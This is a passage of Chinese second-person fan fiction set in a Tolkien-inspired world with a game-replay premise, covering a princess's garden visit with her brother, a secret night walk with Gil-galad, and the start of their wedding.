而且如果你真的对这份婚姻不满意,你大可以像上一次一样选择逃婚,那你现在什么都没有做,反而非常配合婚礼的筹备,足以见得你对这场婚姻非常满意。 “看吧,我们的想法都是一致的,那就是他人的看法没有那么重要。” “但他的说法还是让我很生气,你明明不是这样的人。” 你似笑非笑地盯着他看,其实科尔说的话不无道理,因为在上一个周目你还能干脆利落地杀死自己的双亲和弟弟,所以真要说你是个冷血无情的人,那也的确是的。 “快了,他就快从他的位置上下来了。”你轻飘飘地说,因为父亲贡多已经打算在这场婚礼结束以后将王位交给你,真的,那时候你可就不会顾及太多了,无论是宰相还是其他官员,你都要来一个彻底的大换血。 “抱歉,我刚才是不是打扰你是礼服了?”格林在刚才来的路上一直在回想科尔对他说的话,越想越生气,都忘了你刚刚还在试穿礼服,现在后知后觉地想起来了,就又忙不迭地向你道歉。 你摇了摇头,“不,我应该感谢你才对,要不是你,我还得要再多浪费一些时间在试衣服上面呢。” “那你接下来要去做什么呢?还要继续检查战后重建工作吗?还是别的什么呢?”格林知道你这些天一直都在忙这些事情,要么就是忙着婚礼的事情,反正都不是与他相关的事,这让他觉得你离他越来越远了。 你在心里过了一遍今天的日程安排,那些战后重建工作都不至于,每天都要仔细监督,你会让手下负责监督的,如果什么事情都要自己来的话,反而不利于你手下的成长。 格林问的这些问题让你觉得他话里有话,你说:“那你觉得我应该做些什么呢?你刚才说的这些我都已经做过了,准确来说,现在是我的休息时间。” “……那我是打扰到你的休息了吗?” 他那副小心翼翼的模样倒不至于让你觉得讨厌,你说:“这不算打扰,算了,让我想想……我记得花园的秋千应该还在吧?” 那个花园里的秋千还是你出生以后没多久父亲贡多亲手为你做的,小时候格林最喜欢去那里荡秋千,但因为他的腿太短,坐在上面脚尖都没办法够到地面。 因此,他每次都要央求,你和他一块去荡秋千,往往你都会站在他的身后双手扶着秋千绳,还得要提前告诉他一声,你要开始推了,然后他就会有些紧张的双手握着绳子,转过头对你说“我已经准备好啦!” 现在想来,这都已经是很久以前的事情了,格林听到你这么说,他的眼睛变得亮晶晶的,“那个秋千还在的,我上次路过花园的时候就见到过。” 岂止是见到过,他还坐在上面荡了一会儿,但因为一个人玩实在是太没劲,而且他现在年纪大了,被其他人看见独自玩秋千,说不定还会被认为是稚气未脱,所以他只是坐了一会儿就又离开了。 “那就去看看吧。”你说。 格林的语调都因为你的这一句话变得欢呼雀跃起来,他说:“真的可以吗?” “为什么不可以呢?还是说在你看来我是一个喜欢出尔反尔的人呢?” 不……他的意思不是说你喜欢出尔反尔,而是这段时间你总是太过忙碌,他移开视线,“我不是这个意思,只是我总觉得那段日子 ,那小时候的时光距离我们越来越远了,我们好像终究会渐行渐远。” 他以前还不理解格洛芬德尔说的话,但现在他已经逐渐明白对方的意思,即便是血脉相连的手足,也会因为人生的选择而关系变淡,这是不可避免的事情,这是哪怕血浓于水也无法阻止的事情。 而他先前所做的一切都像是在无力的挣扎,对于这种变化的唯一应对方法就是选择接受。 虽然你们日后注定会关系疏远,但他仍就会怀念小时候的时光,并且在你提出要去花园荡秋千的时候欣然同意。 等你们真的走到了花园里看到那颗大榕树下的秋千,格林反而打起退堂鼓,他小声地对你说:“这样会不会显得我很幼稚呢?我以前小时候坐在这个秋千上,总在想要是自己快点长大就好了,这样我就能好好保护你,成为你最合格的骑士。” 现在他确实长大了,也成为了你的骑士,但也注定要失去一些东西,就比如说你们亲密无间的关系。 还好你并没有读心的能力,否则你在听到格林现在的内心活动时肯定会觉得他未免也太过自作多情了,什么亲密无间的关系,这都是他自认为的。 “现在这个花园里面就只有你和我没有其他人,而且就算其他人看到了,那么幼稚的人也不只是你,还有我。” 格林很喜欢听你这么说,因为这样就好像回到了年幼的时候,他总是跟在你的身后,如同一条小尾巴,而你呢,偶尔会回过头看他一眼,眼神和表情都是那么温和。 如果一个人玩秋千会被当成幼稚的人,那么两个人一起玩的话,反而就无所谓了,因为到时候他们背后议论起来也只会说你们两个都还童心未泯而已。 “你说的有道理。”格林的话音落下,他就快步走到秋千旁边,现在他坐在秋千上,双脚都能踏实的搭在地面上,也不需要你站在他身后帮忙推动秋千了。 但他还是侧过头对你说:“姐姐,你能推我一把吗?” 你慢悠悠地走到他身后,双手握着秋千绳,然后说:“那你准备好了吗?” 格林笑着说:“嗯!我准备好啦!” 他的话音被你推动秋千带起的微风吹散。 第52章 第52章“星星王子你在寻找什么…… 你双手稍微用力,将秋千往前推去,格林垂在脸颊两侧的碎发也被微风吹开,他的脸上浮现出纯粹的笑容。 “还可以推得再高一些。”格林这么对你说,你也如他所愿地等秋千回来的时候更用力地往前推,这一次秋千荡到了更高的地方。 如此循环往复,也不知时间过了多久,大概是过了很久吧,格林最后依依不舍地从秋千上下来,又热情地邀请你坐在秋千上。 见你摇头,他失落地说:“你不玩吗?还是说你觉得这太幼稚了?刚才你还说如果是两个人一起的话,就算幼稚也没关系的。” 他怎么把你刚才说的话记得这么清楚? 反正现在还在你的休息时间内,而且你也不想自己一整天都扑在工作上面,于是你坐在秋千上,格林贴心地问道:“需要我推你一把吗?” 你双手握着两边的秋千绳,“不用,我可以自己来。” 只听见格林应了一声,然后乖巧地退到一边,但他的目光始终追随着你,注视着你双脚轻轻点地,然后秋千随之荡了起来,你荡秋千的幅度都是刚刚好的,而且那弧度也都是大差不差的。 你看着眼前的景物不断地向后退又向前飞,最后等你玩够了,你就干脆利落地停了下来。 这时候格林又指了指旁边的树洞,“瞧啊——这是我们以前经常去的树洞,你还会在这个树洞里面给我讲故事呢。” 以前这个树洞还能容纳得下你和格林两个人,但现在对于你们来说,这个树洞小得可怜,哪怕是你也得蜷缩起身体才能钻进这个树洞里,更别提格林也别说什么,两个人窝在树洞里面你给他讲故事。 你们所能做的就是蹲在树洞面前观察里面,当你们往里面看的时候,一只松鼠急匆匆地从树上跑下来,你们这才意识到,原来这个树洞已经变成了这只松鼠的家,借着午后的光晕你瞧见里面堆放着不少松果还有其他的谷物,这些都是松鼠的粮食。 那只松鼠一边跑一边嘴巴里发出吱吱吱的声音像是在警告你们不要动它的粮食。 “这里怎么成了你的家?我们可是在你之前就先发现了这个树洞的。”格林对着这只松鼠严肃地说,但是松鼠又怎么能听明白人类的语言呢?它只能通过动作来判断你们的意图,你们两个围在树洞,旁边显然就是打它的粮食的主意。 那只松鼠本就蓬松的大尾巴,现在更是炸了毛,它的叫声也变得更加尖锐,甚至打算以自己这样的小身板与人类搏斗。 见状,格林后退半步,声音也跟着变柔和,“放轻松一点,我可没想着偷你的粮食,我们就是来看看这个树洞而已,来怀念我们过往的童年而已。” 松鼠从格林的动作里读出他的意思,这只松鼠的情绪总算是没有那么激动了,你单手托腮,“它真的能听懂你说的话吗?” “谁知道呢,但现在看来应该是能听懂的吧?”格林还尝试着伸出手触碰这只松鼠的脑袋,但因为它跑得太快了,他的手指只碰到了对方的蓬松尾巴。 你站起身,休息的时间总是短暂的,格林也意识到了什么,他也站了起来,“你现在又要去忙了对吗?” 你点了点头,转身又往自己的书房走,回到书房以后,在办公桌旁坐下,你打开系统面板查看自己的声望值,还有获得的成就,这一周目因为你没有为了夺权发生流血冲突,所以你的声望值也还是正数,而且数值不低有379那么多,和你的上周目比起来可谓是天壤之别。 至于获得的成就,也都是正面的积极的。 比如说[人类之星][多尔罗明的后继者][深受爱戴的公主][精灵挚友]等等,这些成就数不胜数,你都没怎么仔细看,因为大部分都是夸奖你的。 唯一让你有些在意的是你的状态,属性后面跟着的[受诅咒]这个debuff。你以前也不是没见过这种属性,毕竟你刚刚来到这个世界的时候就自带病弱属性,但和受诅咒相比较病弱属性的负面影响小到可以忽略不计。 在这个[受诅咒]的debuff在右上角还有着一个小问号,点开一看就是详细介绍。 [受诅咒]:因为强烈的怨恨以及负面情绪所形成的诅咒将会始终缠绕着你,诅咒的强弱程度与怨恨的强烈程度成正比。 在这个世界上,确实有不少人怨恨着你,比如说宰相科尔又比如说以前被你背叛过的魔苟斯,又或者是亲手被你杀死的埃欧尔,他们都有充分的理由来怨恨你,憎恶你以及诅咒你。 因此,你也没有把这个状态放在心上,只不过是多看了几眼而已,然后你又关闭了系统面板。 日子就在每天循规蹈矩的生活中度过,直到婚礼那一天的到来,其实从婚礼前一天整个多尔罗明上上下下都为这场婚礼而感到高兴,这个国度内每片土地上都洋溢着幸福喜悦的气氛。 吉尔-加拉德早在半个月前就来到多尔罗明,按照婚礼习俗,直到婚礼当天你们都不应该见面,因此,即便你们同在一个宫殿内,但你们还得要通过书信传话。 虽然麻烦了一些,但吉尔-加拉德显然乐在其中,自从他来了多尔罗明,你一天能收到好几条他让手下送来的小纸条。 他的那位手下也是兴冲冲地,每次都是欢天喜地地将新鲜出炉的小纸条送到你的手上。 并且笑着说:“殿下说会等候您的回音的。” 吉尔-加拉德写的小纸条内容都是一些琐碎的小事,比如说他今天去过花房,本来能在那里与你擦肩而过的,但是你身边的侍女提前告诉你他要从花房经过,让你改变路线,这让他白白错失与你遥遥相见一面的机会。 “我真不知道原来多尔罗明的侍女眼睛也那么尖,隔了那么老远一眼就看见了我。” 虽然你看的 只是一张小纸条,但你阅读这几行字的时候还能想象出他如果真的说出这番话会使用什么语气。 还有一张小纸条上写的是听说他今天吃的点心是你小时候最喜欢吃的,他就专门去厨房请教那位厨师传授点心的制作方法。 “那位厨师一看到我来了,还以为是自己出现了幻觉,眼睛眨了好几下,才问‘您是对晚餐不满意吗?’哈哈——原来她是在担心今天的晚餐不合我的胃口。” 你可以肯定吉尔-加拉德在写这一段话的时候,自己肯定也在笑,因为他的字迹跟着变得飘逸起来,看着看着你的唇角也微微上扬。 “在我说明来意之后,她才算是松了一口气,然后告诉我这点心该怎么制作,其实学起来也不难,相信在不久后的未来我就能亲手给你做点心了。” 你把他的小纸条一一看完,然后在每条小纸条后面写上自己的回复,这感觉就像是在批阅作业一样,为了方便他阅读,你用的还是不同颜色的墨水。 吉尔-加拉德的手下站在门外等候你的回复,你也不会让他等太久,基本上拿到小纸条看完以后就会写上回复,然后把小纸条重新交给这位任劳任怨的信使。 他态度尊敬地双手接过那张小纸条,还对着你微微抚身行礼,“打扰您了。” 这也算不上什么打扰,因为他一天下来大概也就送几张小纸条过来而已,与你每天要批阅的公文量相比较,简直就是小巫见大巫。 时间终于来到婚礼前一晚,这一天吉尔-加纳德写给你的小纸条,数量比以前加起来的还要多,从小纸条数量激增就能看出他紧张的心情。 “真希望明天的婚礼一切顺利。” “希望明天是个好天气。” “唉,今天的时间为何如此漫长呢?我好像迟迟等不来明天了。” “太过幸福有时候都会让我怀疑这一切是否是真的,又或者这只是我的幻觉呢?” 根据这些小纸条你拼凑出他焦虑不安的一面,原来经历也会有婚前焦虑症吗? 因为小纸条数量实在是太多了,你一时半会儿都回复不过来,还没等你写完回复另外一位精灵就用送来的新一叠的小纸条,这两个精灵站在你的门外表情如出一辙的抱歉。 “这是……殿下新写的小纸条,唉,实在是太抱歉了。”后面来的那个精灵微微皱着眉,表情里带着十足的不好意思。 你对着这个精灵摆摆手,“不用抱歉,你们只不过遵循你们殿下的指令而已。” 只不过按照这个势头下去,今天晚上你的书桌就会被吉尔-加拉德的小纸条淹没,这样下去可不行,于是你做出一个大胆的决定,好吧,其实也不算大胆,只不过是违背了习俗而已,但你这一周目违背的东西已经够多的了,再违背一条婚礼习俗也不算什么。 你所做的决定就是偷偷溜去吉尔-加拉德的房间,看望这个被婚前焦虑症所困扰的精灵少年。 虽然夜色正浓,但是多尔罗明的宫殿上下灯火通明,大家都在为第二天的婚礼做最后准备,你路过花园的时候还瞧见侍女长反复查看明天婚礼要用到的鲜花。 你的脚步快速而无声,你就这样悄无声息地穿过长廊,然后一路走到吉尔-加拉德的房间门口,然后轻轻地敲了敲门,现在这个时间点他肯定还没有睡,因为他根本睡不着。 精灵的听力都很好,他瞬间捕捉到门口的敲门声,他大概以为是来送纸条的手下,想也不想地直接打开门,但没料到站在门外的人是你。 你无比清晰地捕捉到他脸上表情的变化,从一开始伪装出来的平静,到后来平静的表象出现裂痕,最后又惊又喜地问:“你……你怎么来了?不对,按照习俗,我们不应该在婚礼前一晚见面的。” 他现在怎么脑子里还想着这些婚礼习俗呢?你对着他耸耸肩膀,满不在乎地说:“我才不在意这些什么婚礼前不能见面的习俗呢,我只在意我的恋人现在正因紧张不安而难以入眠。” 吉尔-加拉德的眼睛里充盈着晶莹的笑意,他为你的到来而感到欣喜,虽然嘴上说:“那你的时候有让其他人看见吗?” 唉,如果不是你们明天就要举办婚礼了,你还以为你和他现在正在偷情呢。 “没有,唉,我的恋人,你这话说的好像我们只能私下幽会一样,难道我们这是在偷情吗?” 听到你这样的形容,吉尔-加拉德的眼睛微微睁大,“什么偷情……我们的感情是受到其他精灵以及人类的祝福的。” “那不就好了?既然感情都是受到祝福的,那就没必要因为违背一条习俗而担惊受怕。对于我来说,现在最重要的一件事情就是——”你抬起头对上他的目光,“你真的打算让我一直站在门外吗?” 吉尔-加拉德,这才意识到自己刚才光顾着聊天,让你一直站在门口,他连连道歉,但你在他说出第一个道歉的时候,就对他做出一个噤声的手势,“我偷偷跑来这里,可不是为了听你跟我道歉的。” “好吧,我保证我不会再说了。” 你姿态坦然的走入他的房间内,仿佛你才是这间房间的主人,不过你不久之后就会成为多尔罗明的主人,所以四舍五入一下你也确实是这间房间的主人。 这个房间还是你特意为他挑选的,内部装修风格也都很符合精灵的审美,靠近阳台的地方摆放着一张书桌,上面还摆放这几张小纸条,这些都是他刚才写下的,还没来得及让手下给你送过去,至于你以前送回来的小纸条都被他整理过后放进盒子里,有时候他还会翻出来反复看你的回复。 “这个桌子可能有些乱……”注意到你的目光落在书桌上面,吉尔-加拉德就小声地解释道。 “乱吗?那你是没看到之前你那么多纸条送来我的房间的时候,我的书桌是有多么的乱。”你半开玩笑地说。 “我也不知道为什么,就会写下那么多的纸条,而且都是一些没什么意义的内容……难道精灵成婚前一晚都是这样的吗?” 这你又怎么知道呢?首先你不是精灵,其次你也没有结过两次婚,更没有这方面的经验。 “嗯……这个问题恐怕我也没办法给出答案,但我所能做的就是陪伴你,这样应该能减轻你的紧张与不安吧?” 没等他回答,你就自顾自地坐在书桌旁的椅子上,“不如就把今天晚上当成一个普通的夜晚,就和以前无数个寻常的夜晚一样。” 这又该怎么做到呢?吉尔-加拉德的心里冒出这样一道声音。 虽然他什么都没说,但是你根据他的表情还是读出了他内心的回答,你背靠着椅背,姿态放松中透露着几分慵懒,“不如想想以前我们在图尔巩的领地上是怎么共同度过一个夜晚的呢?” 顺着你的话语,吉尔-加拉德的思绪也飘到了过去,回到还在图尔巩领地上做客的那段日子。 那个时候宴会接连不断,但你们非常有默契地从宴会上溜走,或者是跑去藏书库里看书,又或者是跑到天文台上观察当晚的星星,如果那天晚上夜雾浓重看不见星星,就索性穿过森林,沿着宫殿旁的河流散步。 精灵的记忆力都很好,他当然还记得那段时光。 “我们有一次还解救了一条不小心跳到岸上的鱼,你还记得吗?”吉尔-加拉德问道。 “是的,那条鱼绝对是我见过最蠢的鱼,但也是我见过最强壮的鱼,居然能一口气蹦到岸上。” 说 着说着,你们相视一笑,你补充道:“你看这不是很好吗?就把今天晚上当成一个普通的夜晚,你要去附近的护城河看看吗?说不定也能再遇上一条这样不聪明的鱼。” “可以吗?那如果我们被发现了呢?” “相信我,我们不会被发现的。”说着,你朝他伸出手,主动握住他的手腕,“这里可是我的地盘,我知道很多不为人知的小路,大不了到时候就带你抄近路。” 于是乎,在你的劝说之下,吉尔-加拉德被你说动了,也有可能是直接被你带动的,你们两个一前一后地离开房间,蹑手蹑脚地穿过长廊。 这感觉就像是在做贼一样,但你没有做贼心虚,反而理直气壮。 吉尔-加拉德可就没有你那么好的心理素质了,你们在长廊的下一个转角口差点就要和侍女长打个照面,还是你眼疾手快地把他带到角落里,你们两个一起挤到角落里,这个角落的空间对于你们两个而言有些狭窄,你们只能肩膀挨着肩膀,胳膊挨着胳膊,俨然一副亲密无间的模样。 好不容易等到侍女长走了过去,你们这才从角落里拐出来,气氛安静了几秒,也不知道是谁先笑出了声,有可能是他,也有可能是你,因为担心笑声会引来其他人,你马上打住笑容,还伸出手捂住他的嘴。 虽然听不见他的笑声,但你还是能从他明亮剔透的笑眼里读出他的喜悦。 他呼出的气息掠过你的手背,那触感痒痒的,让你不由得收回手,你说:“我们还得继续往前走。” 先前说过,你知道多尔罗明的许多条小路,接下来你就带着吉尔-加拉德穿梭在这几条隐蔽的小路中,后来你们都没遇到其他人。 “你是怎么发现这些小路的?”在穿过一条被玫瑰花丛簇拥着的小路时,他忍不住这么问道。 “这很简单,只要你小时候对其他人过多的关注感到厌烦,自然而然就能找到许多躲避他人目光的地方,也包括了很多不为人知的小路。” 他仔细地听着,脸上的笑容逐渐变淡,他不知道原因竟然是这样的,即便你只是说了寥寥几句,但他还是能透过这几句话看到你的童年,看到你为了躲避其他人而不得不藏到隐蔽的角落里的画面。 这条玫瑰小径因为周边都是枝繁叶茂的花丛,这些花枝交叠在一起,密密麻麻的几乎要将这条小路都吞没,这就使得你们行走在这条小路上得要弯着腰佝偻着身子才能顺利通过。 你走在前面带路,根本无暇顾及跟在你身后的精灵少年,也无法看到他脸上的表情变化。 直到你走到这条路的尽头,你才得以直起身,而当你回过头的时候,吉尔-加拉德说:“如果我能早些遇见你就好了。” “你难道遇到我还不够早吗?”在你看来你们相遇的时间点刚刚好,不会太迟,也不会太早。 “不……我是说如果我能早些遇见你,说不定还能陪你一起发现多尔罗明不同的小路呢。”在你的注视之下,他把临到嘴边的话语改口,他不想把气氛变得太悲伤,而且他也知道你不喜欢别人的同情。 “也是,如果那个时候有你的话……我应该会发现更多隐蔽的角落。”你笑了下,站在月下的精灵少年被皎洁的月光所笼罩,他披散在脑后的棕褐色长发稍显凌乱,你瞥见他的发丝之间夹杂着的一两片玫瑰花瓣。 哪怕发型凌乱,也丝毫不损他的美丽,就连那几片缀在发间的花瓣也都像是锦上添花的装饰。 你对着他招招手,后者虽然不解,但还是听话地走到你面前,你踮起脚尖,他也配合地微微低下头,然后你伸出手,指尖擦过他的耳尖,手指捻起一片玫瑰花瓣。 你的注意力都在这片花瓣上,丝毫没有察觉到被你触碰的精灵少年低垂眼眸,眼睫轻颤。 一片,两片,你从他的发间足足取下三片玫瑰花瓣,你打趣道:“你这头发可真招玫瑰花的喜欢,它们都一个劲地往你身上蹭。” 吉尔-加拉德礼尚往来地查看你的头发,结果找了半天,都没从你的发间找到任何花瓣。 “星星王子你在寻找什么?是花瓣吗?但你忘了这条小路我可是从小走过许多遍的。” 第53章 第53章“能再给我一个晚安吻吗…… 吉尔-加拉德却没有因为你的话语而收回手,他的手心贴着你的侧脸,伴随着他微微俯身,属于他的那道影子,有一部分与你的影子焦叠。 “我可以……亲吻你吗?”他轻轻地问道。 “可以。”你说,然后还没等他反应过来就反客为主地反握住他的手腕,将他往自己身边一带,动作流畅地亲吻他的嘴唇。 在亲吻的时候,你注视着他,注视着因为紧张而紧紧闭着的双眼,因为紧张而轻轻颤抖的眼睫,这个亲吻对他来说是那么珍贵。 甚至于在亲吻结束后,他的表情里还透露出几分不自然,你半开玩笑地说:“唉,一想到明天我们就要举办婚礼而你现在还因为一个亲吻而害羞不已,我就在想……” “想什么?”他难得这么急匆匆地打断你接下来要说的话,“现在想这样举办婚礼为时过早吗?但是——” 如果再继续等下去,他心中的不安只会愈演愈烈,因为他总在担心会有其他的人,一会是精灵向你提出婚约。 他深知自己不是唯一一个喜欢你的精灵,除了他之外,还有许多精灵喜爱着你。 因此在得知你与他的婚姻之后,他在收获其他人祝福的同时也能隐约察觉到一些精灵隐蔽的妒忌。 “不……我可没有那么说。”你无奈地摊手,心说,面前这个精灵少年未免也太容易感到不安了吧? “你就把我刚才说的话当成玩笑话吧,而且这不是今天晚上的重点,重点在于如何轻松地度过这一晚。” “刚才确实是我的表现不好。”吉尔-加拉德反而开始自我反省。 闻言,你挑起一边的眉毛,“你觉得是自己刚才的表现不好?” “是的,如果以后再多给我几次机会的话,我一定会好好表现的。” 他这话说的就像是在对待什么无比严肃的事情,不知道的人听了你们这段对话,还以为你们在讨论什么大事呢,但实际上这并非什么大事,只不过是关于亲吻的讨论而已。 “好吧,那我再给你一次机会。”说着,你笑盈盈地看向他,而他呢,则是眨了眨眼睛,然后抿了抿嘴唇,再一次俯身,但这一次的主动方是他,亲吻的动作没有上次那么僵硬生涩,当然,带着几分青涩是必然的。 只不过这个吻被玫瑰花丛旁突然响起的脚步声打断,你愣了一下,然后拉着吉尔-加拉德躲到旁边的角落里,目送宫殿里的花匠离开这里。 这下子你都不得不承认,刚才的画面就像是在幽会一样,你们两个同时保持安静,一直等到花匠离开,然后对视一眼,很有默契的都从对方眼里看到了笑影,你说:“刚才确实有点像在私会。” 吉尔-加拉德在乎的不是这个,他在乎的是你对刚才那个亲吻的评价,他犹豫地问道:“刚才的和上次的相比较,有进步的地方吗?” 所以说,大部分时候你都觉得吉尔-加拉德有着超乎同龄精灵的成熟稳重,但有时候,你是说极少数时候,他也会流露出带有孩子气的一面,就比如说现在,还在追问你的评价。 “如果我说没有进步的地方,你总不会又要缠着我再来一次吧?”这一片的玫瑰花丛生长旺盛,密密麻麻的玫瑰花枝都蔓延到了你们所处的角落里,你说这话的时候,一朵含苞待放的红玫瑰,正停留在你的肩头。 “当然不会。”因为一直这样下去,难道你们今天晚上的时间就要浪费在亲吻上面了吗?虽然在他看来这似乎也不像是一种浪费,但这样一来不就与你最初的想法背道而驰了吗? 你们又在角落里停留片刻,确认周围没有其他人之后才走出角落。 关于亲吻的这个话题就暂时跳过了,你牵着他的手穿过整个花园,来到宫殿外,今天晚上夜空中没有丝毫夜雾,月亮以及星辰都显得无比清晰,偶尔会有轻微的夜风从远方 飘来,吹拂着宫殿外护城河,只见那水面泛起一圈又一圈轻微的涟漪,那涟漪层层叠叠极具美感。 你和吉尔-加拉德行走在护城河旁,这个时间点恰好是巡逻小队交接班的时间点,因此,这条护城河旁不见巡逻队的踪影。 吉尔-加拉德本来还在担心会不会被巡逻小队的人发现,但当你察觉到他的担忧后就笑着说:“不用担心,我已经算过时间了,这段时间他们恰好是在交接班,所以没有人会发现我们的。” 听你这么说,他嘟哝了一声,“就好像你早就已经算准了时间一样。” 这不是他第一次产生这种感觉,早在很久以前,在他与你初次见面后不久,他就发现你总是会事先准备很多东西。 “你早就料到了我们今天晚上会出来散步对吗?”吉尔-加拉德问道。 “那我可没有那么厉害,是你高估我了。” 这一次换成吉尔-加拉德主动牵起你的手,你们漫步在护城河旁,“如果我说这次散步其实是心血来潮的决定你会相信吗?” “会,因为无论如何,我都会选择相信你。” 无论是上一个周目的吉尔-加拉德,还是这一个周目的他,他都说到做到,无论何时都站在你的那一边。 “而且你如果是经过深思熟虑以后才决定外出散步,那肯定不会忘了带上斗篷的。” 你先前光顾着去找他,都忘了披上一件斗篷,你现在身上披着的斗篷还是他的,对你来说尺码有些大,斗篷的下摆差点就要拖地。 “唉,人无完人,就算是我也会有疏忽大意的时候。” 你们从护城河的一头走到另外一头,花费的时间恰好是巡逻小队交接班中间休息的时间。 因此,等另外一支新的巡逻小队绕着护城河开始巡逻的时候,你们已经结束了这场秘密散步。 你们绕着另外一条小路走回宫殿,在此期间,吉尔-加拉德都在说一些有的没的琐碎小事,你也耐着性子听他说话,你仅有不多的耐心里大部分都给了这位精灵少年。 他还同你说起另外一件趣事,因为你先前在书信中提到纳国斯隆德的石榴树开花了,希望你能在这段时间到访,但他的希望终究还是落空了,因为你那段时间忙得团团转,就连这封信的内容也是经过他刚才的提醒你才想起来的。 “于是我只能每天都在那几颗石榴树下徘徊,祈祷它们的花期能再漫长一些,至少得要等你来到纳国斯隆德才再凋谢。” 你顺着他的话语似乎眼前也浮现出那一副画面,他在那几棵石榴树下徘徊静坐,目光望向遥远的北方,希望今天一会是明天又或者是不久的将来能在纳国斯隆德见到你。 “也不知道这件事情是怎么传到加拉德瑞尔夫人那里的,她后来用魔法让其中一棵石榴树一直停留在花期内。”说到这里,吉尔-加拉德就轻轻地摇晃着你的手,“这样一来,无论你何时到纳国斯隆德都能看到我想与你分享的美景。” 他的这个故事你听下来只觉得加拉德瑞尔真是一位慈祥和蔼关爱小辈的精灵。 你们沿着另外一条小路回到宫殿内,吉尔-加拉德的手下发现他们的殿下不见了,正在着急忙慌地寻找着呢,你隔着一段距离,看到他那惊慌失措的手下,便说:“接下来的路我就不送你了,要是被其他人发现我们在结婚前一晚见面那就糟糕了。” 吉尔-加拉德却没有松开你的手,你递去一个不解的眼神,后者小声地说:“能再给我一个晚安吻吗?” 你还以为是什么大事呢,原来只是一个晚安吻啊。 你非常慷慨的在他额头上亲吻一下,而他也礼尚往来地亲了回来。 关于当天晚上你们两个偷偷见面,并且还出去散步这件事,整个宫殿,不,应该说是整个多尔罗明都没有人知道。 时间一眨眼就来到了隔天早上,其实你在比清晨还要再早一些的时间点就被侍女叫醒了,。 婚礼的一天从梳妆打扮开始,尽管你已经尽可能地简略这些步骤,但梳妆打扮还是少不了的,毕竟据你所知吉尔-加拉德今天应该起得比你还早,因为精灵婚礼做好的准备更多,更加繁琐。 你耐着性子任由侍女打理你的头发,其实你的头发也不需要太过复杂的装饰,快速的梳理一番,再在两边留下简单的编发,这样一来发型就完成了。 穿上专门定做的洁白礼裙,这质感触摸起来柔顺光滑,而且质地轻盈穿在身上,仿佛只是笼罩着一层清浅的月光。 真正最让你头疼的就是各类首饰,戴在头顶的头冠是由芬罗德亲手打造的,这顶头冠的美丽是毋庸置疑的,但是这些美丽也是由大颗大颗的宝石堆砌出来的,这就意味着这份美丽也是沉重的。 戴上这顶头冠以后,你都不由自主的挺直背脊,除此之外,还有项链。 你原先就听说过诺多精灵喜爱宝石,而且擅长打造首饰,现在穿戴全套的诺多精灵首饰你才对这一族精灵的锻造天赋有了更加直观的感受。 站在你身边的侍女替你调整头冠的角度,一切准备就绪,你才从椅子上站起来。 才没走几步,你就能感受到这些美丽的饰品带来的沉重压迫感。 看到你这副样子,你的骑士玛丽有些担心地问:“您还好吗?”在她看来,她也觉得这首饰太重了。 “还好只是一天而已。”你这么说,像是在安慰自己。 要是天天这样,你可受不了。 还没走出房间,你就捕捉到从殿堂传来的音乐声,那是人类乐师和精灵乐师配合演奏的婚礼歌曲。 你遣散其他侍女只让玛丽跟在你身边,一开始你还有些不习惯头顶的头冠和脖子上过分精致的项链,但从你的房间走到殿堂,这一段路足以让你调整自己适应现在的情况。 你的双亲还有弟弟格林都站在殿堂外,格林是他们之中最先发现你的人,一看到你的到来,他就步履匆匆地向你跑来,但在于你有几步之遥的距离时突然停下,这毕竟是你的婚礼,就算是你的弟弟应该与你保持距离。 格林站在你面前,他未曾想象过你结婚的画面,哪怕当初你与爱兰希尔例假约的时候,他也不觉得你真的会和他结婚,但时至今日,你即将踏入殿堂,在众人的见证下,与你的爱人结为伴侣,并且宣誓对对方永远保留真诚与忠贞。 意识到这一点的格林在为你感到高兴的同时,也略带哀伤,“你……你今天很美。” 他注视你许久,最后才说出这样一句话来。 你装作没有看见他眼底的失落,对着他轻轻点了点头,然后径直从他身边走过,你的双亲站在殿堂门口,哪怕是平日里很少落泪的贡多此时此刻,他的眼中也弥漫着泪光。 你真是搞不懂他们为什么要感到悲伤呢?就像是你上辈子所在的世界一样,进入婚姻的女方家人以及女方本人都会表现得那么依依不舍。 “我都要分不清你们到底是在为我感到高兴,还是在为我感到难过了。”你说。 雅维伸手抚摸你的脸颊,“高兴,我们当然是在为你感到高兴,你终于找到了自己的真爱,这无疑是一件好事。” 只是这份真爱终将以悲剧收场,雅维没有将后半句话说出口,因为她不希望将这份哀伤也传递给你,今天的你应该沉浸在喜悦中,而不是被悲伤的阴影笼罩。 “是的,我们都在为你感到高兴,好了,快些进殿堂吧。”贡多强忍着眼泪,指引你走入殿堂内。 吉尔- 加拉德比你先一步到达殿堂内,当你从大门口走进去的时候,他正站在芬罗德身旁。 他的不远处站着的都是其他第三家族的精灵,当然,在场还有不少其他家族的精灵,比如说芬国昐的家族,又比如说图尔巩的手下格洛芬德尔。 第54章 第54章“那你未免也伪装的太好…… 你缓步穿过殿堂,在众人的注视下走到吉尔-加拉德面前,他与你一样身穿洁白礼袍,看向你的目光中也隐约闪烁着氤氲的水雾气。 你的嘴唇动了动,无声地对他说:不要哭。 但你却说的话语似乎起到了反作用,如果说刚才和你对视的时候,他眼中弥漫着的只不过是一层薄薄的水雾而已,那么在读懂你的话语后,眼泪顺着他的眼眶滑落。 唉,要你说精灵可真是一种感性的生物,尤其是在面对感情时,他们简直是感性到了极点,你下意识地快步走到他面前,伸出手擦去停留在他脸颊上的泪珠,然后说:“我接住你的眼泪了。” 闻言,吉尔-加拉德的唇角又微微上扬,他握住你替他擦拭眼泪的,就在这时,负责主持婚礼的芬罗德开口道:“今天我们在众人的祝福下,在众维拉的注视下,亲眼见证这对恋人结为合法伴侣。” 芬罗德在婚礼上宣读的誓词和你上辈子在另外一个世界里听过的誓词大差不差,无非就是要求这对新人要忠于彼此,毫无保留地爱着对方,而且还要遵循自己立下的誓言。 只不过这里的人类也好,精灵也好,不是对着虚无缥缈的神明发誓,而是对着真真切切存在着的维拉以及这个世界的造物主伊露维塔起誓。 “你们是否愿意遵循自己立下的誓言?”说到最后,芬罗德这样询问你们。 吉尔-加拉德毫不犹豫地说:“是的,我愿意。” 但在轮到你的时候,你微妙地停顿了几秒,当然,这几秒的停顿可以用被幸福冲昏了头脑来解释,事实上,后来无论是你的双亲还是你的弟弟,哪怕是其他精灵也都是这样认为的,只有极少数的宾客从你那微妙的停顿中读出了什么。 